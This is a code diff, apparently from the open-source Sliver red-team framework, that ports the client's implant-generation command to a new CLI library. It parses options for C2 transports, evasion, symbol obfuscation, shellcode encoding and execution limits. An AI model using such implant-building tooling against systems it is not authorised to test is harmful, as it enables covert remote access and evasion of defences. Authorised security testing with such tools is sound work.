con.PrintErrorf("Failed to write to: %s\n", saveTo)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Sliver implant stager saved to: %s\n", saveTo)
|
||||
} else {
|
||||
con.PrintInfof("Here's your stager:")
|
||||
con.PrintInfof("Here's your stager:\n")
|
||||
con.Println(string(stageFile.GetFile().GetData()))
|
||||
}
|
||||
}
|
||||
@@ -22,25 +22,25 @@ import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"log"
|
||||
"net"
|
||||
"net/url"
|
||||
"os"
|
||||
"os/signal"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/spin"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -89,19 +89,19 @@ var (
|
||||
)
|
||||
|
||||
// GenerateCmd - The main command used to generate implant binaries
|
||||
func GenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
config := parseCompileFlags(ctx, con)
|
||||
func GenerateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
name, config := parseCompileFlags(cmd, con)
|
||||
if config == nil {
|
||||
return
|
||||
}
|
||||
save := ctx.Flags.String("save")
|
||||
save, _ := cmd.Flags().GetString("save")
|
||||
if save == "" {
|
||||
save, _ = os.Getwd()
|
||||
}
|
||||
if !ctx.Flags.Bool("external-builder") {
|
||||
compile(config, ctx.Flags.Bool("disable-sgn"), save, con)
|
||||
if external, _ := cmd.Flags().GetBool("external-builder"); !external {
|
||||
compile(config, save, con)
|
||||
} else {
|
||||
_, err := externalBuild(config, save, con)
|
||||
_, err := externalBuild(name, config, save, con)
|
||||
if err != nil {
|
||||
if err == ErrNoExternalBuilder {
|
||||
con.PrintErrorf("There are no external builders currently connected to the server\n")
|
||||
@@ -127,7 +127,7 @@ func expandPath(path string) string {
|
||||
return filepath.Join(os.Getenv("HOME"), path[1:])
|
||||
}
|
||||
|
||||
func saveLocation(save, DefaultName string) (string, error) {
|
||||
func saveLocation(save, DefaultName string, con *console.SliverConsoleClient) (string, error) {
|
||||
var saveTo string
|
||||
if save == "" {
|
||||
save, _ = os.Getwd()
|
||||
@@ -135,27 +135,25 @@ func saveLocation(save, DefaultName string) (string, error) {
|
||||
save = expandPath(save)
|
||||
fi, err := os.Stat(save)
|
||||
if os.IsNotExist(err) {
|
||||
log.Printf("%s does not exist\n", save)
|
||||
con.Printf("%s does not exist\n", save)
|
||||
if strings.HasSuffix(save, "/") {
|
||||
log.Printf("%s is dir\n", save)
|
||||
os.MkdirAll(save, 0700)
|
||||
con.Printf("%s is dir\n", save)
|
||||
os.MkdirAll(save, 0o700)
|
||||
saveTo, _ = filepath.Abs(filepath.Join(saveTo, DefaultName))
|
||||
} else {
|
||||
log.Printf("%s is not dir\n", save)
|
||||
con.Printf("%s is not dir\n", save)
|
||||
saveDir := filepath.Dir(save)
|
||||
_, err := os.Stat(saveTo)
|
||||
if os.IsNotExist(err) {
|
||||
os.MkdirAll(saveDir, 0700)
|
||||
os.MkdirAll(saveDir, 0o700)
|
||||
}
|
||||
saveTo, _ = filepath.Abs(save)
|
||||
}
|
||||
} else {
|
||||
log.Printf("%s does exist\n", save)
|
||||
if fi.IsDir() {
|
||||
log.Printf("%s is dir\n", save)
|
||||
saveTo, _ = filepath.Abs(filepath.Join(save, DefaultName))
|
||||
} else {
|
||||
log.Printf("%s is not dir\n", save)
|
||||
con.PrintInfof("%s is not dir\n", save)
|
||||
prompt := &survey.Confirm{Message: "Overwrite existing file?"}
|
||||
var confirm bool
|
||||
survey.AskOne(prompt, &confirm)
|
||||
@@ -184,74 +182,84 @@ func nameOfOutputFormat(value clientpb.OutputFormat) string {
|
||||
}
|
||||
|
||||
// Shared function that extracts the compile flags from the grumble context
|
||||
func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *clientpb.ImplantConfig {
|
||||
func parseCompileFlags(cmd *cobra.Command, con *console.SliverConsoleClient) (string, *clientpb.ImplantConfig) {
|
||||
var name string
|
||||
if ctx.Flags.String("name") != "" {
|
||||
name = strings.ToLower(ctx.Flags.String("name"))
|
||||
if nameF, _ := cmd.Flags().GetString("name"); nameF != "" {
|
||||
name = strings.ToLower(nameF)
|
||||
|
||||
if err := util.AllowedName(name); err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
return "", nil
|
||||
}
|
||||
}
|
||||
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
|
||||
mtlsC2, err := ParseMTLSc2(ctx.Flags.String("mtls"))
|
||||
mtlsC2F, _ := cmd.Flags().GetString("mtls")
|
||||
mtlsC2, err := ParseMTLSc2(mtlsC2F)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return nil
|
||||
return "", nil
|
||||
}
|
||||
c2s = append(c2s, mtlsC2...)
|
||||
|
||||
wgC2, err := ParseWGc2(ctx.Flags.String("wg"))
|
||||
wgC2F, _ := cmd.Flags().GetString("wg")
|
||||
wgC2, err := ParseWGc2(wgC2F)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return nil
|
||||
return "", nil
|
||||
}
|
||||
wgKeyExchangePort, _ := cmd.Flags().GetUint32("key-exchange")
|
||||
wgTcpCommsPort, _ := cmd.Flags().GetUint32("tcp-comms")
|
||||
|
||||
c2s = append(c2s, wgC2...)
|
||||
|
||||
httpC2, err := ParseHTTPc2(ctx.Flags.String("http"))
|
||||
httpC2F, _ := cmd.Flags().GetString("http")
|
||||
httpC2, err := ParseHTTPc2(httpC2F)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return nil
|
||||
return "", nil
|
||||
}
|
||||
c2s = append(c2s, httpC2...)
|
||||
|
||||
dnsC2, err := ParseDNSc2(ctx.Flags.String("dns"))
|
||||
dnsC2F, _ := cmd.Flags().GetString("dns")
|
||||
dnsC2, err := ParseDNSc2(dnsC2F)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return nil
|
||||
return "", nil
|
||||
}
|
||||
c2s = append(c2s, dnsC2...)
|
||||
|
||||
namedPipeC2, err := ParseNamedPipec2(ctx.Flags.String("named-pipe"))
|
||||
namedPipeC2F, _ := cmd.Flags().GetString("named-pipe")
|
||||
namedPipeC2, err := ParseNamedPipec2(namedPipeC2F)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return nil
|
||||
return "", nil
|
||||
}
|
||||
c2s = append(c2s, namedPipeC2...)
|
||||
|
||||
tcpPivotC2, err := ParseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
|
||||
tcpPivotC2F, _ := cmd.Flags().GetString("tcp-pivot")
|
||||
tcpPivotC2, err := ParseTCPPivotc2(tcpPivotC2F)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
return nil
|
||||
return "", nil
|
||||
}
|
||||
c2s = append(c2s, tcpPivotC2...)
|
||||
|
||||
var symbolObfuscation bool
|
||||
if ctx.Flags.Bool("debug") {
|
||||
if debug, _ := cmd.Flags().GetBool("debug"); debug {
|
||||
symbolObfuscation = false
|
||||
} else {
|
||||
symbolObfuscation = !ctx.Flags.Bool("skip-symbols")
|
||||
symbolObfuscation, _ = cmd.Flags().GetBool("skip-symbols")
|
||||
symbolObfuscation = !symbolObfuscation
|
||||
}
|
||||
|
||||
if len(mtlsC2) == 0 && len(wgC2) == 0 && len(httpC2) == 0 && len(dnsC2) == 0 && len(namedPipeC2) == 0 && len(tcpPivotC2) == 0 {
|
||||
con.PrintErrorf("Must specify at least one of --mtls, --wg, --http, --dns, --named-pipe, or --tcp-pivot\n")
|
||||
return nil
|
||||
return "", nil
|
||||
}
|
||||
|
||||
rawCanaries := ctx.Flags.String("canary")
|
||||
rawCanaries, _ := cmd.Flags().GetString("canary")
|
||||
canaryDomains := []string{}
|
||||
if 0 < len(rawCanaries) {
|
||||
for _, canaryDomain := range strings.Split(rawCanaries, ",") {
|
||||
@@ -262,23 +270,28 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
}
|
||||
}
|
||||
|
||||
reconnectInterval := ctx.Flags.Int("reconnect")
|
||||
pollTimeout := ctx.Flags.Int("poll-timeout")
|
||||
maxConnectionErrors := ctx.Flags.Int("max-errors")
|
||||
debug, _ := cmd.Flags().GetBool("debug")
|
||||
evasion, _ := cmd.Flags().GetBool("evasion")
|
||||
templateName, _ := cmd.Flags().GetString("template")
|
||||
|
||||
limitDomainJoined := ctx.Flags.Bool("limit-domainjoined")
|
||||
limitHostname := ctx.Flags.String("limit-hostname")
|
||||
limitUsername := ctx.Flags.String("limit-username")
|
||||
limitDatetime := ctx.Flags.String("limit-datetime")
|
||||
limitFileExists := ctx.Flags.String("limit-fileexists")
|
||||
limitLocale := ctx.Flags.String("limit-locale")
|
||||
debugFile := ctx.Flags.String("debug-file")
|
||||
reconnectInterval, _ := cmd.Flags().GetInt64("reconnect")
|
||||
pollTimeout, _ := cmd.Flags().GetInt64("poll-timeout")
|
||||
maxConnectionErrors, _ := cmd.Flags().GetUint32("max-errors")
|
||||
|
||||
limitDomainJoined, _ := cmd.Flags().GetBool("limit-domainjoined")
|
||||
limitHostname, _ := cmd.Flags().GetString("limit-hostname")
|
||||
limitUsername, _ := cmd.Flags().GetString("limit-username")
|
||||
limitDatetime, _ := cmd.Flags().GetString("limit-datetime")
|
||||
limitFileExists, _ := cmd.Flags().GetString("limit-fileexists")
|
||||
limitLocale, _ := cmd.Flags().GetString("limit-locale")
|
||||
debugFile, _ := cmd.Flags().GetString("debug-file")
|
||||
|
||||
isSharedLib := false
|
||||
isService := false
|
||||
isShellcode := false
|
||||
sgnEnabled := false
|
||||
|
||||
format := ctx.Flags.String("format")
|
||||
format, _ := cmd.Flags().GetString("format")
|
||||
runAtLoad := false
|
||||
var configFormat clientpb.OutputFormat
|
||||
switch format {
|
||||
@@ -287,10 +300,12 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
case "shared":
|
||||
configFormat = clientpb.OutputFormat_SHARED_LIB
|
||||
isSharedLib = true
|
||||
runAtLoad = ctx.Flags.Bool("run-at-load")
|
||||
runAtLoad, _ = cmd.Flags().GetBool("run-at-load")
|
||||
case "shellcode":
|
||||
configFormat = clientpb.OutputFormat_SHELLCODE
|
||||
isShellcode = true
|
||||
sgnEnabled, _ = cmd.Flags().GetBool("disable-sgn")
|
||||
sgnEnabled = !sgnEnabled
|
||||
case "service":
|
||||
configFormat = clientpb.OutputFormat_SERVICE
|
||||
isService = true
|
||||
@@ -299,67 +314,76 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
configFormat = clientpb.OutputFormat_EXECUTABLE
|
||||
}
|
||||
|
||||
targetOS := strings.ToLower(ctx.Flags.String("os"))
|
||||
targetArch := strings.ToLower(ctx.Flags.String("arch"))
|
||||
targetOSF, _ := cmd.Flags().GetString("os")
|
||||
targetOS := strings.ToLower(targetOSF)
|
||||
targetArchF, _ := cmd.Flags().GetString("arch")
|
||||
targetArch := strings.ToLower(targetArchF)
|
||||
targetOS, targetArch = getTargets(targetOS, targetArch, con)
|
||||
if targetOS == "" || targetArch == "" {
|
||||
return nil
|
||||
return "", nil
|
||||
}
|
||||
if configFormat == clientpb.OutputFormat_SHELLCODE && targetOS != "windows" {
|
||||
con.PrintErrorf("Shellcode format is currently only supported on Windows\n")
|
||||
return nil
|
||||
return "", nil
|
||||
}
|
||||
if len(namedPipeC2) > 0 && targetOS != "windows" {
|
||||
con.PrintErrorf("Named pipe pivoting can only be used in Windows.")
|
||||
return nil
|
||||
return "", nil
|
||||
}
|
||||
|
||||
// Check to see if we can *probably* build the target binary
|
||||
if !checkBuildTargetCompatibility(configFormat, targetOS, targetArch, con) {
|
||||
return nil
|
||||
return "", nil
|
||||
}
|
||||
|
||||
var tunIP net.IP
|
||||
if wg := ctx.Flags.String("wg"); wg != "" {
|
||||
if wg, _ := cmd.Flags().GetString("wg"); wg != "" {
|
||||
uniqueWGIP, err := con.Rpc.GenerateUniqueIP(context.Background(), &commonpb.Empty{})
|
||||
tunIP = net.ParseIP(uniqueWGIP.IP)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to generate unique ip for wg peer tun interface")
|
||||
return nil
|
||||
return "", nil
|
||||
}
|
||||
con.PrintInfof("Generated unique ip for wg peer tun interface: %s\n", tunIP.String())
|
||||
}
|
||||
|
||||
connectionStrategy := ctx.Flags.String("strategy")
|
||||
netGo, _ := cmd.Flags().GetBool("netgo")
|
||||
|
||||
// TODO: Use generics or something to check in a slice
|
||||
connectionStrategy, _ := cmd.Flags().GetString("strategy")
|
||||
if connectionStrategy != "" && connectionStrategy != "s" && connectionStrategy != "r" && connectionStrategy != "rd" {
|
||||
con.PrintErrorf("Invalid connection strategy: %s\n", connectionStrategy)
|
||||
return nil
|
||||
return "", nil
|
||||
}
|
||||
|
||||
// Parse Traffic Encoder Args
|
||||
|
||||
httpC2Enabled := 0 < len(httpC2)
|
||||
trafficEncodersEnabled, trafficEncoderAssets := parseTrafficEncoderArgs(ctx, httpC2Enabled, con)
|
||||
trafficEncodersEnabled, trafficEncoderAssets := parseTrafficEncoderArgs(cmd, httpC2Enabled, con)
|
||||
|
||||
c2Profile, _ := cmd.Flags().GetString("c2profile")
|
||||
if c2Profile == "" {
|
||||
c2Profile = consts.DefaultC2Profile
|
||||
}
|
||||
|
||||
config := &clientpb.ImplantConfig{
|
||||
GOOS: targetOS,
|
||||
GOARCH: targetArch,
|
||||
Name: name,
|
||||
Debug: ctx.Flags.Bool("debug"),
|
||||
Evasion: ctx.Flags.Bool("evasion"),
|
||||
Debug: debug,
|
||||
Evasion: evasion,
|
||||
SGNEnabled: sgnEnabled,
|
||||
ObfuscateSymbols: symbolObfuscation,
|
||||
C2: c2s,
|
||||
CanaryDomains: canaryDomains,
|
||||
TemplateName: ctx.Flags.String("template"),
|
||||
TemplateName: templateName,
|
||||
|
||||
WGPeerTunIP: tunIP.String(),
|
||||
WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
|
||||
WGTcpCommsPort: uint32(ctx.Flags.Int("tcp-comms")),
|
||||
WGKeyExchangePort: wgKeyExchangePort,
|
||||
WGTcpCommsPort: wgTcpCommsPort,
|
||||
|
||||
ConnectionStrategy: connectionStrategy,
|
||||
ReconnectInterval: int64(reconnectInterval) * int64(time.Second),
|
||||
PollTimeout: int64(pollTimeout) * int64(time.Second),
|
||||
MaxConnectionErrors: uint32(maxConnectionErrors),
|
||||
ReconnectInterval: reconnectInterval * int64(time.Second),
|
||||
PollTimeout: pollTimeout * int64(time.Second),
|
||||
MaxConnectionErrors: maxConnectionErrors,
|
||||
|
||||
LimitDomainJoined: limitDomainJoined,
|
||||
LimitHostname: limitHostname,
|
||||
@@ -374,19 +398,20 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
|
||||
IsShellcode: isShellcode,
|
||||
|
||||
RunAtLoad: runAtLoad,
|
||||
NetGoEnabled: ctx.Flags.Bool("netgo"),
|
||||
NetGoEnabled: netGo,
|
||||
TrafficEncodersEnabled: trafficEncodersEnabled,
|
||||
Assets: trafficEncoderAssets,
|
||||
|
||||
DebugFile: debugFile,
|
||||
|
||||
DebugFile: debugFile,
|
||||
HTTPC2ConfigName: c2Profile,
|
||||
}
|
||||
|
||||
return config
|
||||
return name, config
|
||||
}
|
||||
|
||||
// parseTrafficEncoderArgs - parses the traffic encoder args and returns a bool indicating if traffic encoders are enabled
|
||||
func parseTrafficEncoderArgs(ctx *grumble.Context, httpC2Enabled bool, con *console.SliverConsoleClient) (bool, []*commonpb.File) {
|
||||
trafficEncoders := ctx.Flags.String("traffic-encoders")
|
||||
func parseTrafficEncoderArgs(cmd *cobra.Command, httpC2Enabled bool, con *console.SliverConsoleClient) (bool, []*commonpb.File) {
|
||||
trafficEncoders, _ := cmd.Flags().GetString("traffic-encoders")
|
||||
encoders := []*commonpb.File{}
|
||||
if trafficEncoders != "" {
|
||||
if !httpC2Enabled {
|
||||
@@ -406,7 +431,6 @@ func parseTrafficEncoderArgs(ctx *grumble.Context, httpC2Enabled bool, con *cons
|
||||
}
|
||||
|
||||
func getTargets(targetOS string, targetArch string, con *console.SliverConsoleClient) (string, string) {
|
||||
|
||||
/* For UX we convert some synonymous terms */
|
||||
if targetOS == "darwin" || targetOS == "mac" || targetOS == "macos" || targetOS == "osx" {
|
||||
targetOS = "darwin"
|
||||
@@ -512,13 +536,95 @@ func ParseWGc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
return c2s, nil
|
||||
}
|
||||
|
||||
func hasValidC2AdvancedOptions(options url.Values) (bool, error) {
|
||||
for key, value := range options {
|
||||
if len(value) > 1 {
|
||||
return false, fmt.Errorf("too many values specified for advanced option %s. Only one value for %s can be specified", key, key)
|
||||
}
|
||||
testValue := value[0]
|
||||
|
||||
switch key {
|
||||
/*
|
||||
The following options are passed through as-is:
|
||||
proxy-username
|
||||
proxy-password
|
||||
host-header
|
||||
force-resolv-conf (validation is handled server side)
|
||||
resolvers
|
||||
*/
|
||||
case "net-timeout", "tls-timeout", "poll-timeout", "timeout", "retry-wait":
|
||||
if _, err := time.ParseDuration(testValue); err != nil {
|
||||
return false, fmt.Errorf("error parsing C2 option \"%s\": %s", key, err.Error())
|
||||
}
|
||||
case "max-errors", "retry-count", "workers-per-resolver":
|
||||
if _, err := strconv.Atoi(testValue); err != nil {
|
||||
return false, fmt.Errorf("error parsing C2 option \"%s\": %s", key, err.Error())
|
||||
}
|
||||
case "driver":
|
||||
// If this is specified, then it should be wininet (the only alternative driver currently supported)
|
||||
if testValue != "wininet" {
|
||||
return false, fmt.Errorf("C2 option \"driver\" must be empty for the default driver or \"wininet\" for the wininet driver (Windows only)")
|
||||
}
|
||||
case "force-http", "disable-accept-header", "disable-upgrade-header", "ask-proxy-creds", "force-base32":
|
||||
if testValue != "true" && testValue != "false" {
|
||||
return false, fmt.Errorf("C2 option \"%s\" must be a boolean value: true or false", key)
|
||||
}
|
||||
case "proxy":
|
||||
proxyUri, err := url.Parse(testValue)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("invalid C2 option \"proxy\" specified: %s", err.Error())
|
||||
}
|
||||
if proxyUri.Scheme != "http" && proxyUri.Scheme != "https" && proxyUri.Scheme != "socks5" {
|
||||
if proxyUri.Scheme == "" {
|
||||
return false, fmt.Errorf("a proxy scheme must be specified: http, https, or socks5")
|
||||
} else {
|
||||
return false, fmt.Errorf("%s is not a valid proxy scheme. Accepted values are http, https, and socks5", proxyUri.Scheme)
|
||||
}
|
||||
}
|
||||
if proxyUri.Port() != "" {
|
||||
port, err := strconv.Atoi(proxyUri.Port())
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("invalid proxy port \"%s\" specified: proxy port must be a number between 1 and 65535", proxyUri.Port())
|
||||
}
|
||||
if port <= 0 || port > 65535 {
|
||||
return false, fmt.Errorf("invalid proxy port \"%s\" specified: proxy port must be a number between 1 and 65535", proxyUri.Port())
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return true, nil
|
||||
}
|
||||
|
||||
func checkOptionValue(c2Options url.Values, option string, value string) bool {
|
||||
if !c2Options.Has(option) {
|
||||
return false
|
||||
} else {
|
||||
optionValue := c2Options.Get(option)
|
||||
return strings.ToLower(optionValue) == value
|
||||
}
|
||||
}
|
||||
|
||||
func uriWithoutProxyOptions(uri *url.URL) {
|
||||
options := uri.Query()
|
||||
// If any of the options do not exist, there is no error
|
||||
options.Del("proxy")
|
||||
options.Del("proxy-username")
|
||||
options.Del("proxy-password")
|
||||
options.Del("ask-proxy-creds")
|
||||
options.Del("fallback")
|
||||
|
||||
uri.RawQuery = options.Encode()
|
||||
}
|
||||
|
||||
// ParseHTTPc2 - Parse HTTP connection string arg
|
||||
func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
c2s := []*clientpb.ImplantC2{}
|
||||
if args == "" {
|
||||
return c2s, nil
|
||||
}
|
||||
for index, arg := range strings.Split(args, ",") {
|
||||
allArguments := strings.Split(args, ",")
|
||||
for index, arg := range allArguments {
|
||||
var uri *url.URL
|
||||
var err error
|
||||
if cmp := strings.ToLower(arg); strings.HasPrefix(cmp, "http://") || strings.HasPrefix(cmp, "https://") {
|
||||
@@ -536,10 +642,23 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
if uri.Scheme != "http" && uri.Scheme != "https" {
|
||||
return nil, fmt.Errorf("invalid http(s) scheme: %s", uri.Scheme)
|
||||
}
|
||||
if ok, err := hasValidC2AdvancedOptions(uri.Query()); !ok {
|
||||
return nil, err
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
})
|
||||
/* If a proxy is defined and the operator wants to fallback to connecting directly, add
|
||||
a C2 that connects directly without the proxy settings.
|
||||
*/
|
||||
if checkOptionValue(uri.Query(), "fallback", "true") && uri.Query().Has("proxy") && !checkOptionValue(uri.Query(), "driver", "wininet") {
|
||||
uriWithoutProxyOptions(uri)
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index + len(allArguments)),
|
||||
URL: uri.String(),
|
||||
})
|
||||
}
|
||||
}
|
||||
return c2s, nil
|
||||
}
|
||||
@@ -568,6 +687,9 @@ func ParseDNSc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
if uri.Scheme != "dns" {
|
||||
return nil, fmt.Errorf("invalid dns scheme: %s", uri.Scheme)
|
||||
}
|
||||
if ok, err := hasValidC2AdvancedOptions(uri.Query()); !ok {
|
||||
return nil, err
|
||||
}
|
||||
c2s = append(c2s, &clientpb.ImplantC2{
|
||||
Priority: uint32(index),
|
||||
URL: uri.String(),
|
||||
@@ -661,8 +783,7 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
|
||||
return c2s, nil
|
||||
}
|
||||
|
||||
func externalBuild(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
|
||||
|
||||
func externalBuild(name string, config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
|
||||
potentialBuilders, err := findExternalBuilders(config, con)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -702,6 +823,7 @@ func externalBuild(config *clientpb.ImplantConfig, save string, con *console.Sli
|
||||
|
||||
con.PrintInfof("Creating external build ... ")
|
||||
externalImplantConfig, err := con.Rpc.GenerateExternal(context.Background(), &clientpb.ExternalGenerateReq{
|
||||
Name: name,
|
||||
Config: config,
|
||||
BuilderName: externalBuilder.Name,
|
||||
})
|
||||
@@ -711,7 +833,6 @@ func externalBuild(config *clientpb.ImplantConfig, save string, con *console.Sli
|
||||
}
|
||||
con.Printf("done\n")
|
||||
|
||||
var name string
|
||||
msgF := "Waiting for external builder to acknowledge build (template: %s) ... %s"
|
||||
for waiting {
|
||||
select {
|
||||
@@ -719,7 +840,7 @@ func externalBuild(config *clientpb.ImplantConfig, save string, con *console.Sli
|
||||
case <-time.After(100 * time.Millisecond):
|
||||
elapsed := time.Since(start)
|
||||
msg := fmt.Sprintf(msgF, externalImplantConfig.Config.TemplateName, elapsed.Round(time.Second))
|
||||
fmt.Fprintf(con.App.Stdout(), console.Clearln+" %s %s", spinner.Next(), msg)
|
||||
fmt.Fprintf(con.App.ActiveMenu().OutOrStdout(), console.Clearln+" %s %s", spinner.Next(), msg)
|
||||
|
||||
case event := <-listener:
|
||||
switch event.EventType {
|
||||
@@ -729,13 +850,13 @@ func externalBuild(config *clientpb.ImplantConfig, save string, con *console.Sli
|
||||
if len(parts) != 2 {
|
||||
continue
|
||||
}
|
||||
if parts[0] == externalImplantConfig.Config.ID {
|
||||
if parts[0] == externalImplantConfig.Build.ID {
|
||||
con.RemoveEventListener(listenerID)
|
||||
return nil, fmt.Errorf("external build failed: %s", parts[1])
|
||||
}
|
||||
|
||||
case consts.AcknowledgeBuildEvent:
|
||||
if string(event.Data) == externalImplantConfig.Config.ID {
|
||||
if string(event.Data) == externalImplantConfig.Build.ID {
|
||||
msgF = "External build acknowledged by builder (template: %s) ... %s"
|
||||
}
|
||||
|
||||
@@ -744,7 +865,7 @@ func externalBuild(config *clientpb.ImplantConfig, save string, con *console.Sli
|
||||
if len(parts) != 2 {
|
||||
continue
|
||||
}
|
||||
if parts[0] == externalImplantConfig.Config.ID {
|
||||
if parts[0] == externalImplantConfig.Build.ID {
|
||||
con.RemoveEventListener(listenerID)
|
||||
name = parts[1]
|
||||
waiting = false
|
||||
@@ -770,12 +891,12 @@ func externalBuild(config *clientpb.ImplantConfig, save string, con *console.Sli
|
||||
}
|
||||
con.PrintInfof("Build name: %s (%d bytes)\n", name, len(generated.File.Data))
|
||||
|
||||
saveTo, err := saveLocation(save, filepath.Base(generated.File.Name))
|
||||
saveTo, err := saveLocation(save, filepath.Base(generated.File.Name), con)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = os.WriteFile(saveTo, generated.File.Data, 0700)
|
||||
err = os.WriteFile(saveTo, generated.File.Data, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write to: %s\n", saveTo)
|
||||
return nil, err
|
||||
@@ -785,7 +906,7 @@ func externalBuild(config *clientpb.ImplantConfig, save string, con *console.Sli
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func compile(config *clientpb.ImplantConfig, disableSGN bool, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
|
||||
func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
|
||||
if config.IsBeacon {
|
||||
interval := time.Duration(config.BeaconInterval)
|
||||
con.PrintInfof("Generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
|
||||
@@ -821,7 +942,7 @@ func compile(config *clientpb.ImplantConfig, disableSGN bool, save string, con *
|
||||
|
||||
fileData := generated.File.Data
|
||||
if config.IsShellcode {
|
||||
if disableSGN {
|
||||
if !config.SGNEnabled {
|
||||
con.PrintErrorf("Shikata ga nai encoder is %sdisabled%s\n", console.Bold, console.Normal)
|
||||
} else {
|
||||
con.PrintInfof("Encoding shellcode with shikata ga nai ... ")
|
||||
@@ -841,12 +962,12 @@ func compile(config *clientpb.ImplantConfig, disableSGN bool, save string, con *
|
||||
}
|
||||
}
|
||||
|
||||
saveTo, err := saveLocation(save, generated.File.Name)
|
||||
saveTo, err := saveLocation(save, generated.File.Name, con)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = os.WriteFile(saveTo, fileData, 0700)
|
||||
err = os.WriteFile(saveTo, fileData, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to write to: %s\n", saveTo)
|
||||
return nil, err
|
||||
|
||||
@@ -2,6 +2,9 @@ package generate
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/rsteube/carapace"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
@@ -11,48 +14,144 @@ import (
|
||||
// GetSliverBinary - Get the binary of an implant based on it's profile
|
||||
func GetSliverBinary(profile *clientpb.ImplantProfile, con *console.SliverConsoleClient) ([]byte, error) {
|
||||
var data []byte
|
||||
// get implant builds
|
||||
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Compiling, please wait ...", ctrl)
|
||||
|
||||
generated, err := con.Rpc.Generate(context.Background(), &clientpb.GenerateReq{
|
||||
Config: profile.Config,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error generating implant\n")
|
||||
return data, err
|
||||
}
|
||||
|
||||
implantName := buildImplantName(profile.GetConfig().GetFileName())
|
||||
_, ok := builds.GetConfigs()[implantName]
|
||||
if implantName == "" || !ok {
|
||||
// no built implant found for profile, generate a new one
|
||||
con.PrintInfof("No builds found for profile %s, generating a new one\n", profile.GetName())
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Compiling, please wait ...", ctrl)
|
||||
|
||||
generated, err := con.Rpc.Generate(context.Background(), &clientpb.GenerateReq{
|
||||
Config: profile.Config,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error generating implant\n")
|
||||
return data, err
|
||||
}
|
||||
data = generated.GetFile().GetData()
|
||||
profile.Config.FileName = generated.File.Name
|
||||
_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error updating implant profile\n")
|
||||
return data, err
|
||||
}
|
||||
con.PrintInfof("Sliver name for profile %s: %s\n", profile.Name, buildImplantName(profile.GetConfig().GetFileName()))
|
||||
} else {
|
||||
// Found a build, reuse that one
|
||||
con.PrintInfof("Sliver name for profile %s: %s\n", profile.Name, implantName)
|
||||
